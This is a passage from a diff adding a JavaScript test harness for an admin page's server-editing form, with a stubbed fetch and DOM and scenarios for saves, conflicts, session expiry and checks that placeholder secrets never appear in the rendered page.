+   throws is a transport failure. `gate` holds a write until it resolves, `listGate` holds a list read the same way and
+   `byIdGate` holds a by-id read. */
+const state = {
+  canEdit: true,
+  confirmAnswer: true,
+  servers: [],
+  byId: {},
+  listReply: null,
+  byIdReply: null,
+  sessionReply: null,
+  responder: () => ({ status: 200, body: {} }),
+  gate: null,
+  listGate: null,
+  byIdGate: null,
+  networkDown: false,
+};
+/* Every request the page made, reads included, in order: { method, url, body, contentType }. */
+const requests = [];
+const reply = (status, payload, raw) => ({
+  status,
+  ok: status >= 200 && status < 300,
+  text: async () => (raw !== undefined ? raw : JSON.stringify(payload)),
+});
+globalThis.fetch = async (url, init = {}) => {
+  const method = (init.method || "GET").toUpperCase();
+  const u = String(url);
+  const sent = init.body ? JSON.parse(init.body) : null;
+  requests.push({ method, url: u, body: sent, contentType: (init.headers || {})["Content-Type"] || null });
+  if (u === "/api/session") {
+    const r = state.sessionReply ? state.sessionReply() : { status: 200, body: { can_edit: state.canEdit } };
+    return reply(r.status, r.body, r.raw);
+  }
+  if (method === "GET" && u === "/api/admin/servers") {
+    if (state.listGate) await state.listGate;
+    const r = state.listReply ? state.listReply() : { status: 200, body: { server_count: state.servers.length, servers: state.servers } };
+    return reply(r.status, r.body, r.raw);
+  }
+  const byIdMatch = /^\/api\/admin\/servers\/(\d+)$/.exec(u);
+  if (method === "GET" && byIdMatch) {
+    if (state.byIdGate) await state.byIdGate;
+    const r = state.byIdReply
+      ? state.byIdReply(Number(byIdMatch[1]))
+      : state.byId[byIdMatch[1]]
+        ? { status: 200, body: state.byId[byIdMatch[1]] }
+        : { status: 404, body: { error: "This server's definition no longer exists." } };
+    return reply(r.status, r.body, r.raw);
+  }
+  if (state.networkDown) throw new Error("connection refused");
+  if (state.gate) await state.gate;
+  const r = state.responder(method, u, sent);
+  return reply(r.status, r.body, r.raw);
+};
+
+/* ---------------------------------------------------------------- helpers */
+
+const all = (node, pred, out = []) => {
+  if (pred(node)) out.push(node);
+  for (const c of node.children) all(c, pred, out);
+  return out;
+};
+const byTag = (root, tag) => all(root, (n) => n.tag === tag);
+const buttons = (root, text) => all(root, (n) => n.tag === "button" && (text === undefined || n.textContent === text));
+/* A node carrying attribute `name` (a data-* key may be set as an attribute or through dataset); with `value`, equal to it. */
+const byAttr = (root, name, value) => all(root, (n) => {
+  const camel = name.replace(/^data-/, "").replace(/-([a-z])/g, (_, c) => c.toUpperCase());
+  const v = name in n.attrs ? n.attrs[name] : name.startsWith("data-") && camel in n.dataset ? n.dataset[camel] : undefined;
+  return v !== undefined && (value === undefined || v === String(value));
+});
+const text = (node) => node.textContent;
+const settle = (ms = 15) => new Promise((r) => setTimeout(r, ms));
+/* Fires `type` on the node's own handlers (no bubbling) and waits for them and for what they started. A click on a disabled
+   node does nothing, as in a browser. */
+const fire = async (node, type, e = {}) => {
+  if (type === "click" && node.disabled) return;
+  const event = { type, target: node, currentTarget: node, preventDefault() {}, stopPropagation() {}, ...e };
+  for (const fn of node.listeners[type] || []) await fn(event);
+  await settle();
+};
+const clickText = async (root, label) => {
+  const b = buttons(root, label)[0];
+  if (!b) throw new Error("no button " + label);
+  await fire(b, "click");
+};
+/* What a user does: focus the box, change its value, and let the input handlers run. */
+const typeInto = async (node, value) => {
+  node.focus();
+  node.value = value;
+  await fire(node, "input");
+};
+/* Navigate away (or anywhere): sets the hash and runs the window's hashchange handlers. */
+const leaveHash = async (hash) => {
+  location.hash = hash;
+  for (const fn of windowHandlers.hashchange || []) await fn({ type: "hashchange" });
+  await settle();
+};
+
+/* ---------------------------------------------------------------- the page */
+
+const readStdin = async () => {
+  let s = "";
+  for await (const chunk of process.stdin) s += chunk;
+  return s;
+};
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "admin-server-edit-"));
+let output = {};
+try {
+  /* The whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279); any stand-in written
+     below goes AFTER the copy so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  const page = await import(pathToFileURL(path.join(scratch, "pages", "admin.js")).href);
+  const util = await import(pathToFileURL(path.join(scratch, "util.js")).href);
+  const main = body.appendChild(new FakeNode("main"));
+  const mountPage = async (tab = "servers") => {
+    page.renderAdmin(main, tab);
+    await settle();
+  };
+
+  const server = (id, name, over = {}) => ({
+    server_id: id, server_name: name.toLowerCase(), display_name: name, engine: "sqlserver", version: "SQL Server 2022",
+    freshness: "Online", status: "Enabled", auth: "Windows", monthly_cost: "$1,234", monthly_cost_usd: 1234,
+    added: "2025-12-31T00:00:00.0000000", read_only: false, last_collected: "2026-01-01T00:00:00Z", ...over,
+  });
+  const alpha = server(1, "Alpha");
+  const bravo = server(2, "Bravo", {
+    engine: "postgres", version: "PostgreSQL 18", freshness: "AwaitingFirstCollection", status: "Disabled", auth: "SQL Server",
+    monthly_cost: null, monthly_cost_usd: 0, added: "2026-01-02T00:00:00.0000000", last_collected: null,
+  });
+
+  /* The by-id read (GET /api/admin/servers/<id>) as the service answers it: no secret, and modified_at, the opaque token. */
+  const TOKEN = "2026-10-05T12:34:56.1234567Z";
+  const read = (id, name, over = {}) => ({
+    server_id: id, display_name: name, engine: "sqlserver", host: name.toLowerCase(), port: 0, database: null, read_only_intent: false,
+    auth: "Windows", username: null, encrypt_mode: "Mandatory", trust_server_certificate: false, multi_subnet_failover: false,
+    monthly_cost_usd: 1234, modified_at: TOKEN, ...over,
+  });
+  const charlie = server(3, "Charlie", { auth: "SQL Server" });
+  const reads = {
+    alpha: read(1, "Alpha"),
+    bravo: read(2, "Bravo", { engine: "postgres", port: 5433, auth: "SQL", username: "pgmon", encrypt_mode: "Optional", monthly_cost_usd: 0 }),
+    charlie: read(3, "Charlie", { auth: "SQL", username: "sa", database: "Sales", read_only_intent: true, trust_server_certificate: true }),
+  };
+  /* The editing seat's Servers tab: Alpha (Windows), Bravo (PostgreSQL) and Charlie (SQL login), each with its by-id read. */
+  const seed = () => {
+    state.servers = [alpha, bravo, charlie];
+    state.byId = { 1: reads.alpha, 2: reads.bravo, 3: reads.charlie };
+  };
+
+  /* What the page drew. The three boxes carry data-box, the form data-edit-form, a field data-field (the API key), a row data-row. */
+  const box = (name) => byAttr(main, "data-box", name)[0] || null;
+  const openForm = () => byAttr(main, "data-edit-form")[0] || null;
+  const field = (key) => byAttr(main, "data-field", key).find((n) => n.tag === "input" || n.tag === "select") || null;
+  const clickEdit = async (id) => {
+    const b = byAttr(main, "data-server-id", id).find((n) => n.tag === "button");
+    if (!b) throw new Error("no Edit button for server " + id);
+    await fire(b, "click");
+  };
+  const rowInfo = (key) => {
+    const r = all(main, (n) => n.attrs["data-row"] === key)[0];
+    return r ? { label: r.children[0] ? text(r.children[0]) : text(r), hidden: r.hidden, display: r.style.display || "" } : null;
+  };
+  const tableRows = () => {
+    const t = byTag(main, "table")[0];
+    return t ? t.children[1].children.map((tr) => (tr.children[0] ? text(tr.children[0]) : "")) : [];
+  };
+  const listGets = () => requests.filter((r) => r.method === "GET" && r.url === "/api/admin/servers").length;
+  const byIdGets = () => requests.filter((r) => r.method === "GET" && /^\/api\/admin\/servers\/\d+$/.test(r.url)).map((r) => r.url);
+  const strips = (name) => box(name).children.map((c) => ({ text: text(c), cls: c.className, role: c.attrs.role || null }));
+  /* The open form as a user sees it: heading, which fields it has, what they hold, the notes, the buttons. */
+  const formSnapshot = () => {
+    const form = openForm();
+    if (!form) return null;
+    const heading = byTag(form, "h3")[0];
+    const input = (key) => byAttr(form, "data-field", key).find((n) => n.tag === "input" || n.tag === "select") || null;
+    const keys = [...new Set(byAttr(form, "data-field").map((n) => n.attrs["data-field"]))];
+    const kind = (k) => (input(k) ? input(k).attrs.type : undefined);
+    return {
+      heading: text(heading),
+      headingFocused: activeElement === heading,
+      headingTabindex: heading.attrs.tabindex,
+      keys,
+      values: Object.fromEntries(keys.filter((k) => input(k) && !["checkbox", "radio"].includes(kind(k))).map((k) => [k, input(k).value])),
+      checks: Object.fromEntries(keys.filter((k) => kind(k) === "checkbox").map((k) => [k, input(k).checked])),
+      auth: byAttr(form, "data-field", "auth").map((r) => ({ value: r.attrs.value, checked: r.checked })),
+      encryption: input("encrypt_mode") ? all(input("encrypt_mode"), (n) => n.tag === "option").map((o) => o.attrs.value) : [],
+      engine: text(byAttr(form, "data-field", "engine")[0]),
+      muted: all(form, (n) => n.className === "muted").map(text),
+      buttons: buttons(form).map(text),
+      passwordType: input("password").attrs.type,
+      passwordValue: input("password").value,
+    };
+  };
+
+  /* A click that reaches the node's handlers although the node is disabled, as a stale or synthetic event would (a real browser
+     sends none to a disabled button): the proof that a guard in the code holds behind the disabled state. */
+  const forceClick = async (node) => {
+    for (const fn of node.listeners.click || []) await fn({ type: "click", target: node, currentTarget: node, preventDefault() {}, stopPropagation() {} });
+    await settle();
+  };
+  /* Every piece of text the page drew, in document order (a node's own text, so a cell is one piece and a heading another). */
+  const textsUnder = (root) => all(root, (n) => n._text !== "").map((n) => n._text);
+  const SECRET = "SECRET-PW";
+  /* How many nodes under the page hold `secret` in a value, an attribute or their text (an ancestor of one counts too). */
+  const leaks = (secret) => all(main, (n) => n.value === secret || n.textContent.includes(secret) || Object.values(n.attrs).some((v) => String(v).includes(secret))).length;
+  const secretNodes = () => leaks(SECRET);
+  const patches = () => requests.filter((r) => r.method === "PATCH").map((r) => ({ url: r.url, body: r.body, contentType: r.contentType }));
+  /* The 409 panel of an open form: the lines naming what the other edit changed (and the field each is about), the "none of the
+     fields changed" sentence, and the buttons; null while there is no panel. */
+  const conflictPanel = (form) => {
+    const b = form ? byAttr(form, "data-box", "conflict")[0] : null;
+    if (!b || !b.children.length) return null;
+    const none = all(b, (n) => n.attrs["data-role"] === "conflict-none")[0];
+    const items = all(b, (n) => n.tag === "li");
+    return { lines: items.map(text), fields: items.map((n) => n.attrs["data-conflict-field"]), none: none ? text(none) : null, buttons: buttons(b).map(text) };
+  };
+  /* The Servers tab as a user sees it now, safe to take when its boxes are gone (another tab is on screen): the open form's
+     banner, status line and 409 panel, whether Save and Cancel and each Edit button are disabled, the notice, and what was asked of the service. */
+  const view = () => {
+    const form = openForm();
+    const strip = (key) => {
+      const b = form ? byAttr(form, "data-box", key)[0] : null;
+      return b ? b.children.map((c) => ({ text: text(c), cls: c.className, role: c.attrs.role || null })) : [];
+    };
+    const one = (label) => (form ? buttons(form, label)[0] : null);
+    return {
+      forms: byAttr(main, "data-edit-form").length,
+      formBoxChildren: box("form") ? box("form").children.length : null,
+      banner: strip("banner"),
+      status: strip("status"),
+      conflict: conflictPanel(form),
+      saveDisabled: one("Save") ? one("Save").disabled : null,
+      cancelDisabled: one("Cancel") ? one("Cancel").disabled : null,
+      editDisabled: buttons(main, "Edit").map((b) => b.disabled),
+      notice: box("notice") ? strips("notice") : [],
+      patches: patches(),
+      listReads: listGets(),
+      byIdGets: byIdGets(),
+      rows: tableRows(),
+    };
+  };
+  /* The service's answer to a good save, as the route sends it. */
+  const updated = (name, over = {}) => ({
+    status: 200,
+    body: { status: "updated", display_name: name, server: name.toLowerCase(), note: "Takes effect at the next collection cycle.", tested: false, ...over },
+  });
+  const renamed = (id, name) => {
+    state.servers = state.servers.map((s) => (s.server_id === id ? { ...s, display_name: name, server_name: name.toLowerCase() } : s));
+  };
+  /* One edit on an open form: text into a box, a checkbox ticked or cleared, or a choice made in a list. */
+  const edit = async (key, value) => {
+    const node = field(key);
+    if (typeof value === "boolean") {
+      node.checked = value;
+      await fire(node, "change");
+    } else if (node.tag === "select") {
+      node.value = value;
+      await fire(node, "change");
+    } else await typeInto(node, value);
+  };
+  /* Choose one of the four authentication radios, as a click does. */
+  const chooseAuth = async (word) => {
+    const radio = byAttr(main, "data-field", "auth").find((r) => r.attrs.value === word);
+    if (!radio) throw new Error("no authentication choice " + word);
+    radio.checked = true;
+    await fire(radio, "change");
+  };
+  /* Save, with the PATCH held back at the service until the snapshot of "during" was taken; resolves to that snapshot. */
+  const gatedSave = async () => {
+    let release;
+    state.gate = new Promise((r) => { release = r; });
+    const click = clickText(main, "Save");
+    await settle();
+    const during = view();
+    release();
+    await click;
+    await settle(30);
+    state.gate = null;
+    return during;
+  };
+  /* The modified_at another edit leaves behind, and the 409 conflict answer that carries the values it left (the by-id read's shape). */
+  const TOKEN2 = "2026-10-05T13:00:00.7654321Z";
+  const conflictAnswer = (current, message = "This server was changed since you read it; nothing was saved.") => ({ status: 409, body: { status: "conflict", message, current } });
+  /* The save cases: which server's form, what the user changes, and what the service answers. `answer(body, n)` is called for the
+     n-th PATCH (1 first) with the body it was sent; it may also change what the list read answers next. `typed` types SECRET into
+     the password box; `down` makes the transport fail; `again` presses Save a second time after the first answer. */
+  const SAVES = {
+    nochange: { id: 1, edits: {}, answer: () => updated("Alpha") },
+    connfail: { id: 3, edits: { host: "charlie-two" }, typed: true, answer: () => ({ status: 200, body: { status: "connection_failed", message: "Could not connect to charlie-two: login failed for user 'sa'." } }) },
+    forbidden: { id: 1, edits: { display_name: "Alpha Two" }, answer: () => ({ status: 403, body: { error: "This account has read-only access." } }) },
+    gone: {
+      id: 1, edits: { display_name: "Alpha Two" },
+      answer: () => {
+        state.servers = state.servers.filter((s) => s.server_id !== 1);
+        return { status: 404, body: { status: "not_found", message: "This server's definition no longer exists (removed since it was looked up); nothing was changed." } };
+      },
+    },
+    updated: { id: 1, edits: { display_name: "Alpha Prime" }, answer: () => { renamed(1, "Alpha Prime"); return updated("Alpha Prime"); } },
+    tested: { id: 3, edits: { host: "charlie-two" }, typed: true, answer: () => { renamed(3, "Charlie"); return updated("Charlie", { tested: true }); } },
+    unchanged: { id: 1, edits: { display_name: "Alpha Two" }, answer: () => ({ status: 200, body: { status: "unchanged" } }) },
+    invalid: { id: 3, edits: { host: "charlie two" }, typed: true, answer: () => ({ status: 400, body: { error: "The host 'charlie two' is not valid: SECRET-PW is not allowed here." } }) },
+    clientcheck: { id: 3, edits: { host: "charlie-two", monthly_cost_usd: "abc" }, typed: true, answer: () => updated("Charlie") },
+    nopassword: { id: 3, edits: { host: "charlie-two" }, answer: () => updated("Charlie") },
+    limited: { id: 1, edits: { display_name: "Alpha Two" }, answer: () => ({ status: 429, body: { error: "Another server change is in progress. Try again in a moment." } }) },
+    broken: { id: 1, edits: { display_name: "Alpha Two" }, answer: () => ({ status: 500, body: { error: "admin server edit failed (InvalidOperationException)" } }) },
+    timedout: {
+      id: 1, edits: { host: "alpha-two" }, again: true,
+      answer: (body, n) => (n === 1
+        ? { status: 503, body: { error: "The edit did not finish in time. It may still complete; reload to see." } }
+        : updated("Alpha")),
+    },
+    network: { id: 1, edits: { display_name: "Alpha Two" }, down: true, answer: () => updated("Alpha Two") },
+    expired: { id: 1, edits: { display_name: "Alpha Two" }, answer: () => ({ status: 200, raw: "<html><body>Sign in</body></html>" }) },
+    /* #5356: a 200 whose text IS JSON but not an object is no sign-in page; the form stays open with a sentence. */
+    jsonArray: { id: 1, edits: { display_name: "Alpha Two" }, answer: () => ({ status: 200, raw: "[]" }) },
+    jsonString: { id: 1, edits: { display_name: "Alpha Two" }, answer: () => ({ status: 200, raw: '"saved"' }) },
+    jsonNull: { id: 1, edits: { display_name: "Alpha Two" }, answer: () => ({ status: 200, raw: "null" }) },
+    collides: { id: 3, edits: { host: "alpha" }, typed: true, answer: () => ({ status: 409, body: { status: "collides", message: "Another server already uses the address alpha." } }) },
+    conflict: { id: 1, edits: { display_name: "Alpha Two" }, answer: () => ({ status: 409, body: { status: "conflict", message: "changed", current: { ...reads.alpha, display_name: "Alpha Elsewhere" } } }) },
+    // The answer is read by its status word, never by its message: a collision whose text talks about a change is no conflict, and a
+    // conflict whose text talks about a collision still carries its panel.
+    collidesTalk: { id: 3, edits: { host: "alpha" }, typed: true, answer: () => ({ status: 409, body: { status: "collides", message: "This server was changed since you opened it: another monitored server already uses the address." } }) },
+    conflictTalk: { id: 3, edits: { host: "alpha" }, typed: true, answer: () => conflictAnswer({ ...reads.charlie, host: "charlie-new", modified_at: TOKEN2 }, "Another server already uses the address alpha.") },
+    // The status line: which edits make the service test the connection (any connection change, any auth, or a password).
+    probeWindowsHost: { id: 1, edits: { host: "alpha-two" }, answer: () => updated("Alpha") },
+    probeWindowsTrust: { id: 1, edits: { trust_server_certificate: true }, answer: () => updated("Alpha") },
+    probeWindowsEncrypt: { id: 1, edits: { encrypt_mode: "Strict" }, answer: () => updated("Alpha") },
+    probeName: { id: 1, edits: { display_name: "Alpha Two" }, answer: () => updated("Alpha Two") },
+    probeCost: { id: 1, edits: { monthly_cost_usd: "250" }, answer: () => updated("Alpha") },
+    probeRotate: { id: 3, edits: {}, typed: true, answer: () => updated("Charlie") },
+    probeSqlHost: { id: 3, edits: { host: "charlie-two" }, typed: true, answer: () => updated("Charlie") },
+    probePostgresPort: { id: 2, edits: { port: "5434" }, typed: true, answer: () => updated("Bravo") },
+  };
+  /* The three tabs' payloads (the old vm harness's, kept as they were): each carries credential-shaped fields no cell may show. */
+  const TAB_PAYLOADS = {
+    servers: {
+      server_count: 2,
+      servers: [
+        { server_name: "alpha", display_name: "Alpha", engine: "sqlserver", version: "SQL Server 2022", freshness: "Online", status: "Enabled", auth: "Windows",
+          monthly_cost: "$1,234", monthly_cost_usd: 1234, added: "2025-12-31T00:00:00.0000000", read_only: false, last_collected: "2026-01-01T00:00:00Z", password: "SECRET-PW" },
+        { server_name: "bravo", display_name: "Bravo", engine: "postgres", version: "PostgreSQL 18", freshness: "AwaitingFirstCollection", status: "Disabled", auth: "SQL Server",
+          monthly_cost: null, monthly_cost_usd: 0, added: "2026-01-02T00:00:00.0000000", read_only: false, last_collected: null },
+      ],
+    },
+    routes: {
+      routes: [{
+        route_id: 7, metric_match: "Blocking Detected", match_kind: "exact_metric", family: "performance", configured_channels: ["slack", "pagerduty"],
+        smtp_recipients: ["ops@example.test"], enabled: true, modified_at_utc: "2026-01-01T00:00:00Z", webhook_url: "https://hooks.example.test/SECRET-HOOK",
+        password: "SECRET-PW", routing_key: "SECRET-KEY", slack_url: "https://hooks.example.test/SECRET-SLACKURL", pagerduty_routing_key: "SECRET-PDKEY",
+        slack_webhook_url: "https://hooks.example.test/SECRET-SLACK",
+      }],
+    },
+    settings: {
+      alerts_enabled: true, cooldown_minutes: 15,
+      cpu: { enabled: true, threshold_percent: 90, webhook_url: "SECRET-HOOK", slack_url: "SECRET-SLACKURL", pagerduty_routing_key: "SECRET-PDKEY", connection_string: "SECRET-CS", auth_token: "SECRET-AUTH", future_knob: "UNLISTED-VALUE" },
+      long_running_query: { enabled: true, threshold_minutes: 30, max_results: 10, exclude_backups: true, excluded_logins: ["svc"] },
+      health_bands: { deadlock_warn_per_hour: 1, deadlock_critical_per_hour: 5 }, excluded_databases: ["master"],
+      analysis: { enabled: true, interval_minutes: 60, smtp_password: "SECRET-PW" }, fleet_sweep: { enabled: true, interval_minutes: 60 },
+      smtp_password: "SECRET-PW",
+    },
+  };
+  const TAB_READS = { routes: "/api/read/get_notification_routes", settings: "/api/read/get_alert_settings" };
+  /* A read-only seat whose tab reads answer those payloads (the Servers list through the list read, the others through the tools' route). */
+  const serveTab = () => {
+    state.canEdit = false;
+    state.servers = TAB_PAYLOADS.servers.servers;
+    state.responder = (method, url) => {
+      const name = Object.keys(TAB_READS).find((k) => TAB_READS[k] === url);
+      return name ? { status: 200, body: TAB_PAYLOADS[name] } : { status: 404, body: { error: "no such read " + url } };
+    };
+  };
+
+  const scenarios = {
+    /* T1: what a seat sees by what its session probe said: "readonly", "probefailed" (an HTTP error), "probedropped" (a transport
+       failure) or "editor". The list carries a row without a server_id, which never gets an Edit button. */
+    seat: async (kind) => {
+      state.servers = [alpha, bravo, server(4, "Echo", { server_id: null })];
+      state.byId = { 1: reads.alpha, 2: reads.bravo };
+      if (kind === "readonly") state.canEdit = false;
+      if (kind === "probefailed") state.sessionReply = () => ({ status: 500, body: { error: "session probe failed" } });
+      if (kind === "probedropped") state.sessionReply = () => { throw new Error("connection refused"); };
+      await mountPage("servers");
+      const headRow = byTag(main, "table")[0].children[0].children[0];
+      const edits = buttons(main, "Edit");
+      return {
+        editHeaders: headRow.children.filter((th) => (th.children[0] || th).textContent === "Edit").length,
+        editButtons: edits.length,
+        labels: edits.map((b) => b.attrs["aria-label"]),
+        ids: edits.map((b) => b.attrs["data-server-id"]),
+        rows: tableRows(),
+        notice: all(main, (n) => n.className.split(/\s+/).includes("notice")).map(text),
+        requests: requests.map((r) => r.method + " " + r.url),
+        form: openForm() !== null,
+      };
+    },
+    /* Edit on one row: "alpha" (Windows), "charlie" (SQL login), "bravo" (PostgreSQL, port 5433) or "bravo0" (PostgreSQL, port 0). */
+    open: async (which) => {
+      seed();
+      if (which === "bravo0") state.byId[2] = { ...reads.bravo, port: 0 };
+      await mountPage("servers");
+      await clickEdit({ alpha: 1, bravo: 2, bravo0: 2, charlie: 3 }[which]);
+      return { form: formSnapshot(), byIdGets: byIdGets(), formBoxChildren: box("form").children.length, requests: requests.length };
+    },
+    /* The by-id read held back: the box says it is loading, then the form replaces it. */
+    loading: async () => {
+      seed();
+      await mountPage("servers");
+      let release;
+      state.byIdGate = new Promise((r) => { release = r; });
+      const click = clickEdit(1);
+      await settle();
+      const during = { box: text(box("form")), form: openForm() !== null, strips: strips("form").map((s) => s.cls) };
+      release();
+      await click;
+      await settle();
+      return { during, form: formSnapshot() };
+    },
+    /* T8 and finding 9: the by-id read answers "404" (the server was removed), "403", "500" or "network". */
+    byIdFails: async (kind) => {
+      seed();
+      await mountPage("servers");
+      if (kind === "404") {
+        state.byId = {};
+        state.servers = [bravo, charlie];
+      }
+      if (kind === "403") state.byIdReply = () => ({ status: 403, body: { error: "This account has read-only access." } });
+      if (kind === "500") state.byIdReply = () => ({ status: 500, body: { error: "admin server read failed (InvalidOperationException)" } });
+      if (kind === "network") state.byIdReply = () => { throw new Error("connection refused"); };
+      const listBefore = listGets();
+      await clickEdit(1);
+      return {
+        notice: strips("notice"),
+        form: openForm() !== null,
+        formBoxChildren: box("form").children.length,
+        listReads: listGets() - listBefore,
+        rows: tableRows(),
+        byIdGets: byIdGets(),
+      };
+    },
+    /* T10: the 60 s poll runs renderAdmin again while the user types in an open form. "ok" lets the list read land; "listFails"
+       makes it answer 500. The list read is held until the focus and the value have been looked at. */
+    poll: async (kind) => {
+      seed();
+      await mountPage("servers");
+      await clickEdit(1);
+      const host = field("host");
+      await typeInto(host, "sql-prod-01");
+      const formBox = box("form");
+      const removedBefore = removed.length;
+      state.servers = [alpha, charlie];
+      if (kind === "listFails") state.listReply = () => ({ status: 500, body: { error: "the list could not be read" } });
+      let release;
+      state.listGate = new Promise((r) => { release = r; });
+      page.renderAdmin(main, "servers");
+      await settle();
+      const during = { active: activeElement === host, value: host.value, rows: tableRows() };
+      release();
+      await settle(30);
+      return {
+        during,
+        activeIsHost: activeElement === host,
+        sameHost: field("host") === host,
+        hostValue: host.value,
+        hostConnected: host.isConnected,
+        sameFormBox: box("form") === formBox,
+        ancestorsRemoved: removed.slice(removedBefore).filter((n) => n.contains(formBox)).length,
+        formOpen: openForm() !== null,
+        rows: tableRows(),
+        tableArea: text(box("table")),
+        tableAreaStrips: strips("table").map((s) => s.cls),
+        notice: strips("notice").map((s) => s.text),
+        listReads: listGets(),
+      };
+    },
+    /* Finding 3 and the discard triggers: a password typed into Charlie's form, then the form goes away by "cancel", by Edit
+       on "another" row or by a switch to the Routes "tab". The node typed into is kept, so it is read after it is detached. */
+    closes: async (path) => {
+      seed();
+      await mountPage("servers");
+      await clickEdit(3);
+      const pw = field("password");
+      await typeInto(pw, "SECRET-PW");
+      const typed = pw.value;
+      if (path === "cancel") await clickText(main, "Cancel");
+      else if (path === "another") await clickEdit(1);
+      else await mountPage("routes");
+      await settle();
+      const secret = (n) => n.value === "SECRET-PW" || n.textContent.includes("SECRET-PW") || Object.values(n.attrs).some((v) => String(v).includes("SECRET-PW"));
+      const open = formSnapshot();
+      return {
+        typed,
+        value: pw.value,
+        connected: pw.isConnected,
+        forms: byAttr(main, "data-edit-form").length,
+        heading: open ? open.heading : null,
+        secretNodes: all(main, secret).length,
+      };
+    },
+    /* A by-id read that lands after its form was discarded (by Edit on "another" row, or a switch to the Routes "tab") opens nothing. */
+    staleOpen: async (path) => {
+      seed();
+      await mountPage("servers");
+      let release;
+      state.byIdGate = new Promise((r) => { release = r; });
+      const first = clickEdit(1);
+      await settle();
+      let second = Promise.resolve();
+      if (path === "another") second = clickEdit(2);
+      else await mountPage("routes");
+      await settle();
+      release();
+      await Promise.all([first, second]);
+      await settle();
+      const open = formSnapshot();
+      return { forms: byAttr(main, "data-edit-form").length, heading: open ? open.heading : null, byIdGets: byIdGets() };
+    },
+    /* The authentication choice and the boxes it shows. Alpha is a Windows server; the steps pick each mode in turn, typing a
+       username under SQL. Then Charlie (a SQL login) shows when the password becomes required: a changed host. */
+    authModes: async () => {
+      seed();
+      await mountPage("servers");
+      await clickEdit(1);
+      const snap = (step) => ({
+        step,
+        checked: byAttr(main, "data-field", "auth").filter((r) => r.checked).map((r) => r.attrs.value),
+        username: rowInfo("username"),
+        usernameValue: field("username").value,
+        password: rowInfo("password"),
+        note: rowInfo("managed-identity-note"),
+      });
+      const choose = async (word) => {
+        const radio = byAttr(main, "data-field", "auth").find((r) => r.attrs.value === word);
+        radio.checked = true;
+        await fire(radio, "change");
+      };
+      const steps = [snap("opened")];
+      await choose("SQL");
+      await typeInto(field("username"), "sa-new");
+      steps.push(snap("sql"));
+      await choose("ServicePrincipal");
+      steps.push(snap("serviceprincipal"));
+      await choose("SQL");
+      steps.push(snap("sql again"));
+      await choose("ManagedIdentity");
+      steps.push(snap("managed identity"));
+      await choose("Windows");
+      steps.push(snap("windows"));
+      await clickEdit(3);
+      const suffixes = [rowInfo("password").label];
+      await typeInto(field("host"), "charlie-two");
+      suffixes.push(rowInfo("password").label);
+      await typeInto(field("host"), "charlie");
+      suffixes.push(rowInfo("password").label);
+      return { steps, suffixes };
+    },
+    /* D15: the stored encryption word, in any case or unknown ("none" is a stored null), and the options the form offers. */
+    encrypt: async (word) => {
+      seed();
+      state.byId[1] = { ...reads.alpha, encrypt_mode: word === "none" ? null : word };
+      await mountPage("servers");
+      await clickEdit(1);
+      const select = field("encrypt_mode");
+      return { value: select.value, options: all(select, (n) => n.tag === "option").map((o) => o.attrs.value) };
+    },
+    /* Save, one case of SAVES at a time (T5, T7, T8's PATCH 404, T11, the answer table, and the status line of review finding 5).
+       The PATCH is held at the service while "during" is taken, then released. `pw` is the password box typed into, read after
+       the answer; `expired` is what the shell was told when the session was gone. */
+    save: async (kind) => {
+      const c = SAVES[kind];
+      if (!c) throw new Error("unknown save case " + kind);
+      seed();
+      const expired = [];
+      util.onSessionExpired((message, login) => expired.push({ message, login }));
+      await mountPage("servers");
+      await clickEdit(c.id);
+      const pw = field("password");
+      for (const [key, value] of Object.entries(c.edits)) await edit(key, value);
+      if (c.typed) await typeInto(pw, SECRET);
+      const typed = pw.value;
+      let n = 0;
+      state.responder = (method, url, sent) => c.answer(sent, ++n);
+      if (c.down) state.networkDown = true;
+      const during = await gatedSave();
+      const after = view();
+      const result = { typed, during, after, form: formSnapshot() };
+      if (c.again) {
+        await clickText(main, "Save");
+        await settle(30);
+        result.second = view();
+      }
+      result.pw = { value: pw.value, connected: pw.isConnected };
+      result.secretNodes = secretNodes();
+      result.expired = expired;
+      return result;
+    },
+    /* T9 and review finding 4: a save held at the service, and what the page lets happen meanwhile. "double": a second click on the
+       disabled Save and a click forced past it send no second PATCH; "429": the same, and the service then answers 429. "edit": Edit on
+       another row (clicked, and forced past the disabled state) opens nothing; after the answer the notice shows the outcome and the
+       next row's form saves. "tab" and "hash": the form is discarded mid-save (the Routes tab; another page) and the late answer
+       still sets the notice, which shows when the Servers tab is back, and the list is read again. */
+    midsave: async (how) => {
+      seed();
+      await mountPage("servers");
+      await clickEdit(1);
+      await edit("display_name", "Alpha Two");
+      state.responder = (method) => {
+        if (method !== "PATCH") return { status: 200, body: TAB_PAYLOADS.routes };
+        if (how === "429") return { status: 429, body: { error: "Another server change is in progress. Try again in a moment." } };
+        renamed(1, "Alpha Two");
+        return updated("Alpha Two");
+      };
+      let release;
+      state.gate = new Promise((r) => { release = r; });
+      const first = clickText(main, "Save");
+      await settle();
+      const during = view();
+      if (how === "double" || how === "429") {
+        await clickText(main, "Save");
+        await forceClick(buttons(openForm(), "Save")[0]);
+      }
+      if (how === "edit") {
+        await clickEdit(2);
+        await forceClick(byAttr(main, "data-server-id", 2).find((b) => b.tag === "button"));
+      }
+      if (how === "tab") await mountPage("routes");
+      if (how === "hash") await leaveHash("#/fleet");
+      const mid = view();
+      release();
+      await first;
+      await settle(30);
+      state.gate = null;
+      const result = { during, mid, late: view() };
+      if (how === "tab") {
+        await mountPage("servers");
+        result.back = view();
+      }
+      if (how === "edit") {
+        await clickEdit(3);
+        await edit("display_name", "Charlie Two");
+        state.responder = () => updated("Charlie Two");
+        await clickText(main, "Save");
+        await settle(30);
+        result.next = view();
+      }
+      if (how === "429") {
+        await settle(30);
+        result.settled = view();
+      }
+      return result;
+    },
+    /* The hashchange discard (D6): a password typed into Charlie's form and a changed host, then the hash moves to `hash`. The page
+       is painted twice first, so the listener count shows it is registered once. `kept` is whether the same form is still open. */
+    hash: async (h) => {
+      seed();
+      await mountPage("servers");
+      await clickEdit(3);
+      const form = openForm();
+      const pw = field("password");
+      await typeInto(pw, SECRET);
+      await typeInto(field("host"), "charlie-two");
+      await mountPage("servers");
+      const listeners = (windowHandlers.hashchange || []).length;
+      await leaveHash(h);
+      return {
+        listeners,
+        kept: openForm() === form && form.isConnected,
